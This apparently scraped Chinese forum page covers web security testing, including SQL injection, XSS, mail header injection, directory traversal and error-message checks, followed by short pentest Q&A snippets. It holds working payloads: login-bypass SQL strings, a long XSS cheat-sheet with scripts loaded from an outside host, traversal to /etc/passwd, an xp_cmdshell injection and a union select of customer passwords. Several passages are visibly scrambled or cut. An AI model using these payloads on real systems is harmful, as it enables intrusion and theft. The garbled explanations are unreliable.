如何进行WEB安全性测试

来自：贴吧网友更新日期：2024-06-02

如何进行WEB安全性测试？

　　一般来说，一个WEB应用包括WEB服务器运行的操作系统、WEB服务器、WEB应用逻辑、数据库几个部分，其中任何一个部分出现安全漏洞，都会导致整个系统的安全性问题。
　　对操作系统来说，最关键的操作系统的漏洞，Windows上的RPC漏洞、缓冲区溢出漏洞、安全机制漏洞等等；
　　对WEB服务器来说，WEB服务器从早期仅提供对静态HTML和图片进行访问发展到现在对动态请求的支持，早已是非常庞大的系统。
　　对应用逻辑来说，根据其实现的语言不同、机制不同、由于编码、框架本身的漏洞或是业务设计时的不完善，都可能导致安全上的问题。
　　对WEB的安全性测试是一个很大的题目，首先取决于要达到怎样的安全程度。不要期望网站可以达到100%的安全，须知，即使是美国国防部，也不能保证自己的网站100%安全。对于一般的用于实现业务的网站，达到这样的期望是比较合理的：
　　1、能够对密码试探工具进行防范；
　　2、能够防范对cookie攻击等常用攻击手段；
　　3、敏感数据保证不用明文传输；
　　4、能防范通过文件名猜测和查看HTML文件内容获取重要信息；
　　5、能保证在网站收到工具后在给定时间内恢复，重要数据丢失不超过1个小时；

用MicroFocus的Fortify来测试呀，它可以检测出你的web里面有没有存在的漏洞，挺实用的。

安全性测试主要从以下方面考虑主要从以下方面考虑： WEB 的安全性测试主要从以下方面考虑： Injection(SQL 注入) 1.SQL Injection(SQL 注入) (1)如何进行 SQL 注入测试? 首先找到带有参数传递的 URL 页面,如搜索页面,登录页面,提交评论页面等等. 注 1:对于未明显标识在 URL 中传递参数的,可以通过查看 HTML 源代码中的 "FORM"标签来辨别是否还有参数传递.在<FORM> 和</FORM>的标签中间的每一个参数传递都有可能被利用. <form id="form_search" action="/search/" method="get"> <div> <input type="text" name="q" id="search_q" value="" /> <input name="search" type="image" src="/media/images/site/search_btn.gif" /> <a href="/search/" class="fl">Gamefinder</a> </div> </form> 注 2:当你找不到有输入行为的页面时,可以尝试找一些带有某些参数的特殊的 URL,如 http://DOMAIN/INDEX.ASP?ID=10 其次,在 URL 参数或表单中加入某些特殊的 SQL 语句或 SQL 片断,如在登录页面的 URL 中输入 http://DOMAIN /INDEX.ASP?USERNAME=HI' OR 1=1-注 1：根据实际情况,SQL 注入请求可以使用以下语句: ' or 1=1- " or 1=1- or 1=1- ' or 'a'='a " or "a"="a ') or ('a'='a 注 2：为什么是 OR，以及',――是特殊的字符呢？例子：在登录时进行身份验证时，通常使用如下语句来进行验证：sql=select * from user where username='username' and pwd='password' 如输入 http://duck/index.asp?username=admin' admin' or 1='1&pwd=11，SQL 语句会变成以下：sql=select 11 1='1 username='admin' or 1='1 and password='11 admin' 1='1' 11' 11 * from user where ' 与 admin 前面的'组成了一个查询条件,即 username='admin',接下来的语句将按下一个查询条件来执行. 接下来是 OR 查询条件,OR 是一个逻辑运算符，在判断多个条件的时候，只要一个成立，则等式就成立，后面的 AND 就不再时行判断了，也就是说我们绕过了密码验证，我们只用用户名就可以登录. 如输入 http://duck/index.asp?username=admin'--&pwd=11，SQL 语 admin'-admin'-11 句会变成以下 sql=select * from user where name='admin' -- and pasword='11', admin' --' 1 '与 admin 前面的'组成了一个查询条件,即 username='admin',接下来的语句将按下一个查询条件来执行接下来是"--"查询条件,“--”是忽略或注释,上述通过连接符注释掉后面的密码验证(注:对 ACCESS 数据库数据库无效). 最后,验证是否能入侵成功或是出错的信息是否包含关于数据库服务器的相关信息;如果能说明存在 SQL 安全漏洞. 试想,如果网站存在 SQL 注入的危险,对于有经验的恶意用户还可能猜出数据库表和表结构,并对数据库表进行增\删\改的操作,这样造成的后果是非常严重的. (2)如何预防 SQL 注入? 从应用程序的角度来讲,我们要做以下三项工作工作: 工作转义敏感字符及字符串(SQL 的敏感字符包括 “exec”,”xp_”,”sp_”,”declare”,”Union”,”cmd”,”+”,”//”,”..”,”;”,”‘”,”--”,”%”,”0x”,”><=!-*/()|”, 和”空格”). 屏蔽出错信息：阻止攻击者知道攻击的结果在服务端正式处理之前提交数据的合法性(合法性检查主要包括三项:数据类型,数据长度,敏感字符的校验)进行检查等。最根本的解决手段,在确认客户端的输入合法之前,服务端拒绝进行关键性的处理操作. 从测试人员的角度来讲,在程序开发前(即需求阶段),我们就应该有意识的将安全性检查应用到需求测试中,例如对一个表单需求进行检查时,我们一般检验以下几项安全性问题: 需求中应说明表单中某一 FIELD 的类型,长度,以及取值范围(主要作用就是禁止输入敏感字符) 需求中应说明如果超出表单规定的类型,长度,以及取值范围的,应用程序应给出不包含任何代码或数据库信息的错误提示. 当然在执行测试的过程中,我们也需求对上述两项内容进行测试. 2.Crossscritping(XSS):(跨站点脚本攻击跨站点脚本攻击) 2.Cross-site scritping(XSS):(跨站点脚本攻击) (1)如何进行 XSS 测试? 首先,找到带有参数传递的 URL,如交评论,发表留言页面等等。登录页面,搜索页面,提 其次,在页面参数中输入如下语句(如:Javascrīpt,VB scrīpt, HTML,ActiveX, Flash)来进行测试： <scrīpt>alert(document.cookie)</scrīpt> 注:其它的 XSS 测试语句 ><scrīpt>alert(document.cookie)</scrīpt> ='><scrīpt>alert(document.cookie)</scrīpt> <scrīpt>alert(document.cookie)</scrīpt> <scrīpt>alert(vulnerable)</scrīpt> %3Cscrīpt%3Ealert('XSS')%3C/scrīpt%3E <scrīpt>alert('XSS')</scrīpt> <img src="javascrīpt:alert('XSS')"> %0a%0a<scrīpt>alert(\"Vulnerable\")</scrīpt>.jsp %22%3cscrīpt%3ealert(%22xss%22)%3c/scrīpt%3e %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd %2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/windows/win.ini %3c/a%3e%3cscrīpt%3ealert(%22xss%22)%3c/scrīpt%3e %3c/title%3e%3cscrīpt%3ealert(%22xss%22)%3c/scrīpt%3e %3cscrīpt%3ealert(%22xss%22)%3c/scrīpt%3e/index.html %3f.jsp %3f.jsp <scrīpt>alert('Vulnerable');</scrīpt> <scrīpt>alert('Vulnerable')</scrīpt> ?sql_debug=1 a%5c.aspx a.jsp/<scrīpt>alert('Vulnerable')</scrīpt> a/ a?<scrīpt>alert('Vulnerable')</scrīpt> "><scrīpt>alert('Vulnerable')</scrīpt> ';exec%20master..xp_cmdshell%20'dir%20 c:%20>%20c:\inetpub\wwwroot\?.txt'--&& %22%3E%3Cscrīpt%3Ealert(document.cookie)%3C/scrīpt%3E %3Cscrīpt%3Ealert(document. domain);%3C/scrīpt%3E& %3Cscrīpt%3Ealert(document.domain);%3C/scrīpt%3E&SESSION_ID={SESSION_ID}&SESSION_ID= 1%20union%20all%20select%20pass,0,0,0,0%20from%20customers%20where%20fname= ../../../../../../../../etc/passwd ..\..\..\..\..\..\..\..\windows\system.ini \..\..\..\..\..\..\..\..\windows\system.ini '';!--"<XSS>=&{()} <IMG SRC="javascrīpt:alert('XSS');"> <IMG SRC=javascrīpt:alert('XSS')> <IMG SRC=javascrīpt:alert('XSS')> <IMG SRC=javascrīpt:alert("XSS")> <IMG SRC=javascrīpt:alert('XSS')> <IMG SRC=javascrīpt:alert('XSS')> <IMG SRC="jav ascrīpt:alert('XSS');"> <IMG SRC="jav ascrīpt:alert('XSS');"> <IMG SRC="jav ascrīpt:alert('XSS');"> "<IMG SRC=java\0scrīpt:alert(\"XSS\")>";' > out <IMG SRC=" javascrīpt:alert('XSS');"> <scrīpt>a=/XSS/alert(a.source)</scrīpt> <BODY BACKGROUND="javascrīpt:alert('XSS')"> <BODY ōNLOAD=alert('XSS')> <IMG DYNSRC="javascrīpt:alert('XSS')"> <IMG LOWSRC="javascrīpt:alert('XSS')"> <BGSOUND SRC="javascrīpt:alert('XSS');"> <br size="&{alert('XSS')}"> <LAYER SRC="http://xss.ha.ckers.org/a.js"></layer> <LINK REL="stylesheet" HREF="javascrīpt:alert('XSS');"> <IMG SRC='vbscrīpt:msgbox("XSS")'> <IMG SRC="mocha:[code]"> <IMG SRC="livescrīpt:[code]"> <META HTTP-EQUIV="refresh" CONTENT="0;url=javascrīpt:alert('XSS');"> <IFRAME SRC=javascrīpt:alert('XSS')></IFRAME> <FRAMESET><FRAME SRC=javascrīpt:alert('XSS')></FRAME></FRAMESET> <TABLE BACKGROUND="javascrīpt:alert('XSS')"> <DIV STYLE="background-image: url(javascrīpt:alert('XSS'))"> <DIV STYLE="behaviour: url('http://www.how-to-hack.org/exploit.html');"> <DIV STYLE="width: expression(alert('XSS'));"> <IMG SRC=javascript:ale&#x <STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE> <IMG STYLE='xss:expre\ssion(alert("XSS"))'> <STYLE TYPE="text/javascrīpt">alert('XSS');</STYLE> <STYLE type="text/css">BODY{background:url("javascrīpt:alert('XSS')")}</STYLE> <BASE HREF="javascrīpt:alert('XSS');//"> getURL("javascrīpt:alert('XSS')") a="get";b="URL";c="javascrīpt:";d="alert('XSS');";eval(a+b+c+d); <XML SRC="javascrīpt:alert('XSS');"> "> <BODY ōNLOAD="a();"><scrīpt>function a(){alert('XSS');}</scrīpt><" <scrīpt SRC="/Article/UploadFiles/200608/20060827171609376.jpg"></scrīpt> <IMG SRC="javascrīpt:alert('XSS')" <IMG SRC="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode"> <scrīpt a=">" SRC="http://xss.ha.ckers.org/a.js"></scrīpt> <scrīpt =">" SRC="http://xss.ha.ckers.org/a.js"></scrīpt> <scrīpt a=">" '' SRC="http://xss.ha.ckers.org/a.js"></scrīpt> <scrīpt "a='>'" SRC="http://xss.ha.ckers.org/a.js"></scrīpt> <scrīpt>document.write("<SCRI");</scrīpt>PT SRC="http://xss.ha.ckers.org/a.js"></scrīpt> <A HREF=http://www.gohttp://www.google.com/ogle.com/>link</A> <STYLE TYPE="text/css">.XSS{background-image:url("javascrīpt:alert('XSS')");}</STYLE><A CLASS=XSS>< 因为“\n”是新行，如果在 subject 中输入“hello\ncc:spamvictim@example.com”，可能会形成以下 Subject: hello cc: spamvictim@example.com 如果允许用户使用这样的其它用 subject，那他可能会给利用这个缺陷通过我们的平台给其它户发送垃其它圾邮件。 Traversal(目录遍历目录遍历) 5.Directory Traversal(目录遍历) （1）如何进行目录遍历测试？目录遍历产生的原因是：程序中没有过滤用户输入的“../”和“./”之类的目录跳转符,导致恶意用户可以通过提交目录跳转来遍历服务器上的任意文件。测试方法： URL 中输入一定数量的在 “../” “./” 验证系统是否 ESCAPE 和，掉了这些目录跳转符。（2）如何预防目录遍历？限制 Web 应用在服务器上的运行进行严格的输入验证，控制用户输入非法路径 messages(错误信息错误信息) 6.exposed error messages(错误信息) （1）如何进行测试？首先找到一些错误页面，比如 404,或 500 页面。验证在调试未开通过的情况下，是否给出了友好的错误提示信息比如“你访问的页面不存在”等，而并非曝露一些程序代码。（2）如何预防？测试人员在进行需求检查时，应该对出错信息进行详细查，比如是否给出了出错信息，是否给出了正确的出错信息。

用MicroFocus的Fortify来测试呀，它可以检测出你的web里面有没有存在的漏洞，挺实用的。

18562957734：web安全测试一般包括哪些测试内容

侯径：答：一个完整的Web安全体系测试可以从部署与基础结构，输入验证，身份验证，授权，配置管理配置管理配置管理配置管理，敏感数据，会话管理，加密，参数操作，异常管理，审核和日志记录等几个方面入手

18562957734：web应用测试是什么意思?

侯径：答：黑盒测试指不考虑程序内部实现细节，仅基于输入输出等进行测试；白盒测试指根据Web应用程序的代码结构和内部实现特性进行测试。压力测试和负载测试则用来检验系统的负荷能力，确保系统能够应对高并发访问和大量数据请求。渗透测试则是通过模拟攻击方式，对Web应用程序的安全性进行测试。Web应用程序通常是用户获取...

18562957734：探索数字世界:一次专业的网站安全之旅

侯径：答：在数字世界中,网站安全是至关重要的。本文将带领读者进行一次专业的网站安全之旅,探索数字世界的安全之门。信息收集在进行渗透测试之前,信息收集是必不可少的一步。通过探索域名的whois信息、浏览服务器旁站与子域名、深入了解服务器操作系统与web中间件、解析IP地址进行端口扫描、剖析网站目录结构、使用Google Hack...

18562957734：如何进行Web漏洞扫描

侯径：答：利用被动式策略的扫描称为系统安全扫描，利用主动式的策略扫描称为网络安全扫描。Web漏洞扫描有以下四种检测技术：1.基于应用的检测技术。它采用被动的、非破坏性的办法检查应用软件包的设置，发现安全漏洞。2.基于主机的检测技术。它采用被动的、非破坏性的办法对系统进行检测。通常，它涉及到系统的内核、...

18562957734：Web应用系统测试内容包括哪些?

侯径：答：面向Web应用系统的测试与传统的软件测试不同，不仅需要检查和验证是否按照需求规格说明书的要求运行，而且还要测试Web应用系统在不同浏览器上显示是否符合要求，与不同的数据库连接是否有效、更重要的是在性能、安全性、可用性等方面功能测试、性能测试、安全性测试、配置和兼容性测试、可用性测试、链接测试...

18562957734：如何保证Web服务器安全?

侯径：答：在Web服务器的攻防战上，这一个原则也适用。笔者建议，如果企业对于Web服务的安全比较高，如网站服务器上有电子商务交易平台，此时最好设置一个专业的团队。他们充当攻击者的角色，对服务器进行安全性的测试。这个专业团队主要执行如下几个任务。一是测试Web管理团队对攻击行为的反应速度。如可以采用一些现在...

18562957734：网站安全渗透测试怎么做?

侯径：答：信息收集：1、获取域名的whois信息,获取注册者邮箱姓名电话等。2、查询服务器旁站以及子域名站点，因为主站一般比较难，所以先看看旁站有没有通用性的cms或者其他漏洞。3、查看服务器操作系统版本，web中间件，看看是否存在已知的漏洞，比如IIS，APACHE,NGINX的解析漏洞。4、查看IP，进行IP地址端口扫描，对...

18562957734：Web应用系统测试内容都有哪些?

侯径：答：面向Web应用系统的测试与传统的软件测试不同，不仅需要检查和验证是否按照需求规格说明书的要求运行，而且还要测试Web应用系统在不同浏览器上显示是否符合要求，与不同的数据库连接是否有效、更重要的是在性能、安全性、可用性等方面功能测试性能测试安全性测试配置和兼容性测试可用性测试链接测试链...

18562957734：如何对网站进行渗透测试和漏洞扫描

侯径：答：什么叫渗透测试?渗透测试最简单直接的解释就是:完全站在攻击者角度对目标系统进行的安全性测试过程。进行渗透测试的目的?了解当前系统的安全性、了解攻击者可能利用的途径。它能够让管理人员非常直观的了解当前系统所面临的问题。为什么说叫直观呢?就像Mitnick书里面提到的那样,安全管理(在这里我们改一下,改成安全评估...

18562957734：如何测试自己网站有哪些漏洞,以便提高网站的安全性?

侯径：答：10.自我测试如今在网上黑客工具一箩筐，不防找一些来测试下你的网站是否OK。11.例行维护 a.定期备份数据。最好每日备份一次，下载了备份文件后应该及时删除主机上的备份文件。b.定期更改数据库的名字及管理员帐密。c.借WEB或FTP管理，查看所有目录体积，最后修改时间以及文件数，检查是文件是否有异常，...

如何进行WEB安全性测试

相关资料链接